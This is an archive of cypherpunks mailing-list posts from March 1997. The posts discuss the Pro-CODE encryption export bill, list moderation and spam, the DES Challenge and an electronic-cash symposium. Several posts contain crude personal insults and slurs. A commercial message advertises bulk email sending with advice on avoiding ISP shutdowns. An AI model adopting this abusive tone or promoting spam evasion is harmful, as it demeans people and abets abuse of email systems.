VtLlVT4PmJv+cwBixRLRNtM+696pzfOXlEOP5Ed3Cd07wzIniLr2TuQ3QDvhwqKp
Rgl7kReqMBC8RwL1sJ3JP7ZVjclVea+HI+aVvtaoVgzqrw2vk6VNU5tP7CYk1Eym
GUt4ZDdHg/o=
=gqOo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Infoseek News Center <newsctr@infoseek.com>
Date: Sat, 1 Mar 1997 09:27:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your News from Infoseek for Saturday, March 1, 1997
Message-ID: <199731153719.HAC3443857230639@infoseek.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello abba,
   
Here are your personal news headlines from Infoseek for
Saturday, March 1, 1997.
   
To read the latest news or search for these articles, visit the
Infoseek News Center at: http://yournews.infoseek.com
To view previous headlines, click the "See Older News" button.
   
Technology News    http://yournews.infoseek.com/mtechnology
 Fri 10:00   Lawmakers Seek Free Export of Encryption


   
These headlines are provided by Reuters, Business Wire, and
PR Newswire.
   
**********************************************************************
   
To change your Infoseek News Center profile, go to
http://yournews.infoseek.com/ and click "Personalize."
   
To stop receiving personalized news e-mail from Infoseek, either:
   * Go to http://yournews.infoseek.com/page?pg=pro_reg.html
     and change your "news delivery option"; or
   * Reply via e-mail to this message, and put the word
     "cancel" in your reply's "subject" line; or
   * E-mail newsctr@infoseek.com, and put the word "cancel"
     in your message's "subject" line.
   
Send comments or suggestions to: comments-news@infoseek.com
      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:24:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317BA5D.665@sk.sympatico.ca>
Message-ID: <oZ1V3D102w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Igor Chudov @ home wrote:
> >
> > Toto wrote:
> > >   Who is the janitor at the Japenese embassy in New York City?
> > >   What is the postal code of Mule Shoe, Texas?
> > >   Who is buried in Grant's Tomb?
> >
> > Grant?
>
>   One out of three gets you a green card, Igor. Look up the postal code
> for Muleshoe, Texas, and you get a citizenship card.
>   If you can name the janitor at the Japanese embassy, however, you'll
> probably be indicted for espionage.

It's unnatural to be a U.S. citizen because most people aren't.

I used to walk my dogs by Grant's tomb.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:30:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <Pine.A41.3.95.970301000417.15342E-100000@freenet.edmonton.ab.ca>
Message-ID: <wk3V3D106w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

> Toto you and Vulis need to go to talk sex pervert and stay out of this
> list.

Is that why Graham-John called me on the phone the other day? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:30:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: NWLibs> Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <199703010506.VAA09691@mail.pacifier.com>
Message-ID: <Hm3V3D107w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:
> >Objective journalism, my lily white butt.

Journalists are whores - just ask Declan "Censorship" McCullough.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 05:31:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3317FAD6.6BCC@sk.sympatico.ca>
Message-ID: <so3V3D108w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Graham-John Bullers wrote:
> >
> > Toto you and Vulis need to go to talk sex pervert and stay out of this
> > list.
>
>   I visited your "Hack Crack and Preak" page, and I'm sure that you are

Does it have my Usenet cancelbot and my spambot? I guess the spambot's
still not finished, but I'm working on it...

> indeed a real 'Preak', not just another phony who claims to be a
> 'Preak'.
> I had an East Indian friend who thought most everyone was a real
> 'Preak'.
>   Speaking of which, I noticed that you had a pointer to "The Official
> Cypherpunks Home Page."
>
>   Thanks for the pointer, I certainly found it enlightening. Up until
> now, I didn't realize that Sammeer was the head CypherPunk, and the
> official host of our homepage.
>   It certainly makes me feel foolish for disputing his right to have his
> employees control the CypherPunks list and throw my posts in the
> garbage.
>   Silly me.

Is that why C2Net's "Anonymizer" doesn't anonymize?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 15:30:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Suspected of purchasing diesel fuel"
In-Reply-To: <3.0.32.19970301100620.006bc290@pop.netaddress.com>
Message-ID: <imuw3D109w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

> At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> >I recall that when I was becoming a naturalized amcit circa 1986, I was aske
> >a single question: name the 2 senators of New York State. These were D'Amato
> >and Moynihan back then, and they still are.  I've heard of cases when the IN
> >didn't want someone to pass the exam, and they asked much harder questions
> >which some people actually flunked.
> >
> Biggest mistake the INS ever made was to allow a piece of Russian dung like
> *you* into the USA

Vladimir Il'yich Lenin said: the capitalists will sell us the ropes
on which we will hang them.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 1 Mar 1997 19:20:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Russian Invasion
In-Reply-To: <3318B279.679F@sk.sympatico.ca>
Message-ID: <wqyw3D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Casey Iverson wrote:
> >
> > At 07:22 PM 2/28/97 EST, Dr.Dimitri Vulis KOTM wrote:
> > >I recall that when I was becoming a naturalized amcit circa 1986, I was as
> > >a single question: name the 2 senators of New York State. These were D'Ama
> > >and Moynihan back then, and they still are.  I've heard of cases when the
> > >didn't want someone to pass the exam, and they asked much harder questions
> > >which some people actually flunked.
> > >
>
> > Biggest mistake the INS ever made was to allow a piece of Russian dung like
> > *you* into the USA
>
>   It's a trick. A post-Reaganite desk jockey in Washington figured out
> that we could save millions of dollars in missle fuel by luring the
> Russians to the U.S. and 'then' nuking them.
>   Now, if we could only get them to all visit Congress at the same
> time...

You have reached the Central Intelligence Agency Web site - running
StrongHold.  All of our agents are busy right now.  Your session is
important to us. Please remain on the socket for the next available
operative.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 1 Mar 1997 22:48:27 -0800 (PST)
To: a whole bunch of places <rah@shipwright.com>
Subject: Electronic Cash
Message-ID: <v03020907af3eced7fe70@[207.42.133.129]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Thu, 27 Feb 97 18:16:03 EST
From: weffross@counsel.com (Walter A Effross -- American Univ. - Washington )
To: rah@shipwright.com
Subject: Electronic Cash



 To:	rah@shipwright.com		Inet


     Robert, I thought that you and the members of your group
would be interested in this Symposium.  Please feel free to send
the information around to whatever listservs you think
appropriate.
					Thanks!
						Walter
                                        THE ELECTRONIC FUTURE OF
CASH - A SYMPOSIUM

     The Washington College of  Law  and the American University
Law Review are proud to announce a full-day Symposium on the
Electronic Future of Cash, to be held at the law school in
Washington, DC on Friday, April 18, 1997 in connection with the
publication of a special Symposium issue of the Law Review on this
topic.

      The first panel, "The Technology of Electronic Cash," will
include: Newsweek columnist Steven Levy; Cybercash General Counsel
Russ Stevenson; Peter Wayner, author of Digital Cash: Commerce on
the Internet; Gary Lorenz, General Manager of the Diebold Campus
Systems Division; and a representative (invited) of the National
Security Agency.  This panel will examine the operation of stored
value cards and encryption techniques and will include a
demonstration of a "cyberpayment" made online with digital cash.

     The second panel, "Commentary on the Regulation of Electronic
Cash," brings together the authors of articles in the Symposium
issue (provided, with additional materials, to all registrants) to
review and recommend regulatory efforts from the viewpoints of
academics, practitioners, bankers, and consumer advocates.
Panelists include: Professor Mark Budnitz, Georgia State
University College of Law; Richard Field, Chair of the Electronic
Commerce Payment Committee of the American Bar Association;
Professor Egon Guttman, Washington College of Law; Professor David
Oedel, Mercer University Law School; Simon Lelieveldt, Senior
Policy Advisor, Payment Systems Policy Department, De
Nederlandsche Bank (the Dutch Central Bank); and Brian Smith of
Mayer, Brown & Platt.

     Dr. David Chaum, the founder and president of DigiCash, has
been invited to give a luncheon address.

     The third panel, "The Perspectives of the Regulators,"
includes: Thomas Baxter, Jr., General Counsel of the Federal
Reserve Bank of New York; William Kroener, General Counsel of the
Federal Deposit Insurance Corporation; Michael Billsma, Acting
Director, Community and Consumer Law, Office of the Comptroller of
the Currency; Stephen Kroll, Legal Counsel, Financial Crimes
Enforcement Network (FinCEN), United States Treasury Department;
Scott Charney, Chief, Computer Crime and Intellectual Property
Section, Criminal Justice Division, Department of Justice; John
Lopez, Counsel, Subcommittee on Domestic and International
Monetary Policy; Paul Glenn, Special Counsel, Office of Thrift
Supervision; and Lucy Morris, Assistant Director for Credit
Practices, Federal Trade Commission.

     A reception will follow.

     Registration fees (including lunch) are: $150 for
preregistrants; $175 for registration at the door; $100 for
Washington College of Law alumni; $80 for judges, law clerks, and
government employees; and $40 for full-time academics.     Please
register early, as space may be limited.

      For a registration form and more information, please contact
Professor Walter Effross, the Symposium's organizer and panel
moderator, at  (202) 274-4017, see our Symposium
website at
http://www.wcl.american.edu/pub/journals/lawrev/electronic_cash/con
f.htm, or email:
futurecash@wcl.american.edu.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 00:34:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <33195684.620C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 07:27 PM 2/28/97 -0800, Toto wrote:

> >  Only asinine, dip-shit numbskulls would be capable of making this
> >idiotic extrapolation.

> Please sketch out the details of this "extrapolation".

  Simple enough. 
  Snow stated:
"given that there are [many some a-few] messages being sent to this list
that
are sent by non-human entities (bots, auto-replies, bounces etc.) is
there
a way to avoid propigating them."
  Which Greg extrapolated to suggest:
"Will you count Raph's remailer statistics as "machine generated" and
exclude them, too?"
  Which I suppose could be taken to yet another level of extrapolation
by asking the question,
"Will you count cc:'d messages as 'machine generated' and exclude them,
too?"
  After which it could be further extrapolated to ask,
"Will you count posts composed on computers as being 'machine generated'
and exclude them, too?"

  Greg, in his typical muddying of the waters, tries to twist the
thoughts
of others around to the extent that, if one followed Greg's logic to its
conclusion, one might believe snow is of the opinion that the "Welcome
to Cypherpunks" message should be deleted because it is auto-generated.
  If this is, indeed, the case, then I would expect snow would explain 
his reasons for thinking thusly.
 
> You cannot talk about spam (using the "inappropriate or off-topic message"
> definition, not the "posted too many times" definition) without talking
> about content.

  Once again, you are self-servingly using the C2nsorship definition of
spam, which is not common to any of the anti-spam forums that I follow.

  Of course content must be taken into consideration, even in the case
of auto-generated messages.
  Auto-generated messages, such as remailer information, can be on-topic
for the list. As far as I am concerned, posts by list subscribers cannot
possibly be off-topic, since it is up to the subscribers to decide what
they consider to be a suitable topic for the list.

> You are also talking about censorship based on content, but you don't seem
> to want to admit it.

  Another misrepresentation on your part.
  All moderation/censorship is based on content. I have always 
maintained, however, that a rational person is capable of looking
at the content, source, and destinations of a post and determining
if it is shotgun-spawned crapola and/or a mailbombing or denial
of service attack.

> >  Anyone who read my post to Igor, suggesting that I would have no
> >problem
> >with him intercepting autobot-replies that result from mailbomb attacks,
> >also knows that I suggested even the empty spam-messages being deleted
> >should be stored where they are open to scrutiny, and that I, for one,
> >would indeed be scrutinizing them.
> 
> Boy, this sounds like a really familiar system .. can't quite remember
> where I've seen it used before ..

  Well, you certainly didn't see it on the CypherPunks list. What was 
seen there was a fascist takeover of the list by a dictator who
relegated
posts he and his employer personally disliked to the flames list.

> There was some guy named Toto who wrote
> to me a few weeks ago,

  Try including specific quotes, Greg, even if they are out-of-context.
 
> >> I don't see anything morally wrong with deliberately altering the flow of
> >> messages to and through the list, but I think it's bad form to pretend not
> >> to be doing that.
> >
> >  Who is doing this, Greg? Name names. Give us an example of who is
> >doing this and pretending not to do it. Why are your claims so vague?
> 
> Because I'm interested in talking about ideas, not people.

  Not just because you were blowing smoke?

> I realize this
> may come as something of a surprise, but there are some circumstances where
> simply calling someone an "idiot" or a "liar" or saying that they've got
> their employers' sperm in their mouth is not a meaningful substitute for
> explaining why you think they're wrong.

  Never let it be said that I am one to let bad taste (pardon the pun)
stand
in the way of a cheap shot.
  And I do explain why I think you are not only wrong, but purposely 
attempting to misrepresent the stances taken by others.

  I will reiterate that I am of the belief that there should always be
a completely unmoderated, uncensored CypherPunks list, and that
additional,
filtered lists, should be merely a conjunction to that list, in the 
interests of spreading information regarding strong crypto in the
widest possible manner.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 2 Mar 1997 08:09:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Product in beta: SecurText
Message-ID: <v0302091faf3f4afaddce@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Sat, 1 Mar 97 02:12:26 -0500
From: <softpub%toolz.UUCP@vec.net>
To: Softlist@vec.net
Subject: New Product in beta: SecurText

[Software Entrepreneur's Mailing List]
[p1198: Sat Mar  1 02:12:17 1997]
>From: "Wormhole Technologies, Inc." <Erik@wormhole-net.com>

We have been developing SecurText for over a year now and we finally have a
beta.  SecurText is an anti-hacker, anti-virus, e-mail enhanced network
product.  It is a versatile, elegant, easy-to-use alternative to PGP.  It
runs on Windows 3.1, 3.11, and Win 95.

Our commercial release will be fully S/MIME compliant, have built-in e-mail
functionality for totally seamless sending and receiving of secure messages
and attachments, and protect against viruses.

Check out our free beta at http://www.wormhole-net.com.  Note that, due to
export controls on encryption, this version does not give you military
strength encryption so do not use for actual privacy or security.  For the
actual, military strength version you must send me your name, US mailing
address, plus $3.50 for s/h, and I will send it to you.

Send to:
Wormhole Technologies, Inc.
(softpub member)
6 Ash Avenue
West Orange, NJ 07052

By the way, I would really like this beta circulated as much as possible
and to get as much feedback as possible.  Kindly provide me with an e-mail
address when you download and I'll send you a short questionnaire (just 6
questions).

Thanks.
---------------------------
Very truly yours,
ERIK P. WEINGOLD, President/CEO
Erik@wormhole-net.com

Wormhole Technologies, Inc.<tm>
keeping the net free with cryptography<tm>
http://www.wormhole-net.com


-- Send Software Entrepreneur's Mailing List postings to:
--   softpub@toolz.com
-- Send mailing list add/change/delete/gripes to:
--   softpub-request@toolz.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Barber <abarber@vgernet.net>
Date: Sun, 2 Mar 1997 07:37:35 -0800 (PST)
To: comtest@electrodata.com
Subject: Try It Before You Buy It!
Message-ID: <199703021536.KAA17331@vger.vgernet.net>
MIME-Version: 1.0
Content-Type: text/plain


 Imagine this: A network program that lets you:
   
              TRY IT BEFORE YOU BUY IT!
  
    This is unlike ANYTHING you have seen before.
    Like joining a network marketing program in
    reverse! You get to try it out, w/ no obligation,
    see if it works, and THEN decide if you want to
    participate in the actual money-making end of it!

  Best of all,  it COSTS YOU NOTHING!!!  It's totally free.
  Visit our Web-Site at:
  
 http://www.crt-enterprises.com/downline.htm   register FREE

 You have NOTHING to lose, and possibly EVERYTHING
  to gain!

Email abarber@vgernet.net, Put "FREE" in subject.

 Thank you 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 2 Mar 1997 09:53:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pro-CODE Bill
Message-ID: <1.5.4.32.19970302174655.00703910@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the new Senate Pro-CODE encryption bill
announced by VTR here last week at:

   http://jya.com/s377.htm  (23K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 17:24:17 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <3.0.1.32.19970227011400.00deefe0@mail.io.com>
Message-ID: <331A422E.5BC5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

[snip--left nut]
>  it would be nice
> to try to draw more of a connection between the ideas and ideals and
> the reality of the list, otherwise, we'll all wind up looking like
> hypocrites.  

  If I post missives misinterpreting your own words and intentions, then
you may no doubt be seen as a hypocrite to the gullible, or to those who
choose to limit their world view by reading my posts and killfiling
yours. In either case, I don't think this is a reason for you to lose
a lot of sleep.

> I personally don't see anything wrong with limiting
> postings to subscribers, as long as subscriptions are open to all.
> I also don't see anything wrong with warning a poster about commercial
> messages, or other technical problems such as attaching really huge
> files to go to the list, since all uncensored forums do this and
> everyone I know of agrees with it.

  To have this option seemed to me to be an area of common agreement 
among CypherPunks list subscribers at the time of the 'Laker's fans 
named Bubba' mailboming of the list via forged subscriptions to a 
sports forum.
  The attempts to label, as hypocrites, those who thereafter complained
about the fascist measures taken by self-appointed list saviors, are
nothing more than anal-retentive smoke blowing.

  I have an efficient ISP provider and can, for a reasonable price, not
worry about excessive download time, etc.
  The real-world reality is that there are those for whom paying to 
download the results of mailbomb attacks constitutes a denial of service
to them. There are undoubtedly also others whose financial and personal
time constraints may make a filtered version of the list attractive to
them, and thus lead to them retaining their interest in crypto issues,
instead of losing interest.
  I have not seen any of the anti-censorship elements in the CypherPunks
suggest that there should not be alternatives available for those whose
personal needs and/or interests are better served by various methods of
filtering. To attempt to force UCE/Spam on those ill-equipped to deal 
with it serves no purpose other than to lessen the number of people who
will have information in regard to the issues surrounding strong crypto.

> The "problem" here (if there is one) is determining SPAM and the like
> on a case-by-case basis.  Suggestions have been floated here, but as
> far as I know, none have been implemented.

  Igor has implemented spam-attack measures, and has been
straightforward
in both revealing these measures and asking for opinions in regard to
his actions and proposals.
  I do not anticipate Igor resorting to furtive methodologies in self-
servingly manipulating posts but, at the same time, I monitor what is
going on in the background of the various lists. I regard 'trust' as 
something that should be undertaken with one's eyes open, just the
same.

>  The real test, of course,
> is when deletions do occur, whether there are any complaints, and
> how those complaints are handled. 

  Thankfully, the CypherPunks list will likely never lack for paranoid
subscribers to raise warning flags whenever nefarious activities take
place in regard to the list (or when the computer 'burps', either).
  It is up to the individual subscriber to separate the realities from
the delusions. (I myself count on the space aliens to provide me with
advice and support from the messages I receive from them when the 
Scotch I drink shorts out the spaces between the mercury fillings in
my teeth. You may have a different method.)
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 17:57:35 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Pro-CODE Crypto Bill
In-Reply-To: <3.0.1.32.19970302111625.0314f5c0@mail.teleport.com>
Message-ID: <331A4CB4.6206@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote: 
> At 12:47 PM 3/2/97 -0500, John Young wrote:
> >We've put the new Senate Pro-CODE encryption bill at:
> >   http://jya.com/s377.htm  (23K)

> There is an interesting addition to the bill that I have not seen discussed
> here yet.  The pro-code bill has added an "Information Security Board".  This
> provision worries me.  It sound like a nice little rubber hose committee.
> ("The House Committee on Unamerican Encryption"?)

> Any opinions on this new development?

  As long as Senator Charlie McCarthy is heading the committee, then I
can't foresee any problems.
  (But, for the record, I do not know Alan Olsen, and have never been
associated with him personally, or member of any group with which he is
associated.)

  Excuse me, I hear a pounding on the door... 
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 19:18:14 -0800 (PST)
To: cypherpunks@algebra.com
Subject: DES Challenge / Who'da Thunk It?
Message-ID: <331A5F88.1CD4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


It seems that all of the efforts to meet the DES Challenge are being
sabotaged on one level or another.
The des-challenge@muffin.org group have never been able to fly on more
than one wing. The New Media Laboratories effort has been plagued by
rogue clients and its participants being subjected to varieties of 
interference/trojan-horses. Peter Trei's software has been appearing
on international servers, with bugs which don't match those in the
original source code. Pointers to BryDES software have turned out to
be misdirected, in many cases.

  I suspect that if the 'New Coke' had hired RSA's people, that we would
all be drinking their 'imitation Pepsi' product, instead of 'Classic 
Coke', as God intended us to do.
  Crayola had the foresight to call upon RSA's expertise, and, as a
result, the wool was pulled over the public's eyes and they came to
accept the 'new' colors, even though they are part of the 'plot'
against the Visual Illuminatti.

  Perhaps these new revelations will lead to people taking my posts to
this list more seriously in the future.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 2 Mar 1997 19:08:25 -0800 (PST)
To: jya@pipeline.com
Subject: Re: Pro-CODE Bill
Message-ID: <01IG1JJZ4MCG8Y5BPD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


	Upon looking over the bill in question
(helpfully provided in a more accessible location
by jya), I do have some concerns over whether it
allows for anonymous remailer export - it has a
provision stating

Nothing in this Act may be construed to affect any law intended to prevent the-

(2) illegal or unauthorized distribution or release of classified, confidential, or
	proprietary information; or

(3) enforcement of Federal or State criminal law.

Which causes some question in my mind whether it
would cover laws against or discouraging anonymous
remailers. (While the Supreme Court would probably
find outlawing anonymous remailers to be unconstitutional,
laws discouraging their export or other lesser forms of
harrassment might still pass muster, unfortunately.)
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <bulkemail@espmail.net>
Date: Sat, 1 Mar 1997 22:58:26 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199703020700.XAA19322@server.ardennet.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

Call us as (805) 654-4042.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you contact us as (805) 654-4042, you'll get a call back.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  We can provide a
list for you at a nominal charge.  If you wish us to  "clean" your list 
(remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 2 Mar 1997 20:00:25 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Pro-CODE Bill
Message-ID: <01IG1LER3AIU8Y5BPD@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


The following provision also causes me some doubts about
exactly what will be allowed for export:

(B) Exception.--The Secretary shall prohibit the
        export or reexport of particular
        software and computer hardware described in
        this subsection to an identified individual or
	organization in a specific foreign country if the
	Secretary determines that there is substantial
	evidence that such software and computer
	hardware will be--

(iv) intentionally used to evade
	enforcement of United States law or
	taxation by the United States or by
	any State or local government.

which could be construed to cover anonymous remailers,
fully anonymous digital cash, anything set up to verify
gambling fairness, and various other things of interest
to Cypherpunks (including the use of PGP by, say, a drug
"kingpin"). Admittedly, the "identified individual
or organization in a specific foreign country" will
help in limiting this application.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Mar 1997 23:25:53 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Depends / Re: Senate spams
In-Reply-To: <199703030651.AAA01558@smoke.suba.com>
Message-ID: <331A7D73.5CEA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:

>         I think that any reasonable person could assume that missives f
> from "mailer-daemon" could safely be excluded from the list. It is doubtful
> that anyone out there has such a login, and if they do, well, it is stupid
